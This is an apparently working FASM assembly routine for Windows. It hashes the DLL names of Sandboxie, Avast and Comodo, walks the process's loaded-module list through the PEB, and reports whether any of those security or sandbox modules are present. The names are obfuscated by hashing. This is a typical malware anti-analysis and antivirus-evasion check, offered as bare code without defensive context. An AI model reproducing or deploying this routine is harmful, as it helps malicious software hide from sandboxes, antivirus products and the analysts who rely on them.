include 'win32ax.inc'
 
; MACROS
 
macro hash name,[string]{
   local ..hash, ..len, ..chr
   virtual at 0
      db string
      ..len  = $
      ..hash = 0
      repeat ..len
         load ..chr byte from % - 1
         ..hash = ..hash + ..chr
         ..hash = ..hash xor (((..chr shl 7) and $FFFFFFFF) or (..chr shr (25)))
      end repeat
   end virtual
   name#.h = ..hash
}
struc dw [arr]{
   common
      . dw arr
      .c = ($ - .) / 2
}
 
; GLOBAL
 
hash sandboxie, 'sbiedll.dll'
hash avast32,   'snxhk.dll'
hash avast64,   'snxhk64.dll'
hash comodo32,  'guard32.dll'
hash comodo64,  'guard64.dll'
 
; CODE
 
blacklist_loaded:
   call push_hashArr
   hashArr dw sandboxie.h, avast32.h, avast64.h, comodo32.h, comodo64.h
 
push_hashArr:
   push $30
   pop  esi
   lods dword[fs:esi]
   mov  edx, [eax+$0C]
   mov  edx, [edx+$1C]
   xor  eax, eax
nm:xor  ebx, ebx
   mov  esi, dword[edx+$20]
   test esi, esi
   mov  edx, [edx]
 jz     en
re:lodsw
   test eax, eax
 jz     fn
   or   eax, 0x20
   add  ebx, eax
   rol  eax, 7
   xor  ebx, eax
 jmp    re
fn:push hashArr.c
   pop  ecx
   mov  esi, [esp]
nx:lodsw
   cmp  eax, ebx
 loopne nx
 jecxz  nm
en:mov  eax, ecx
   pop  edi
   ret
 
main:
   call blacklist_loaded
.end main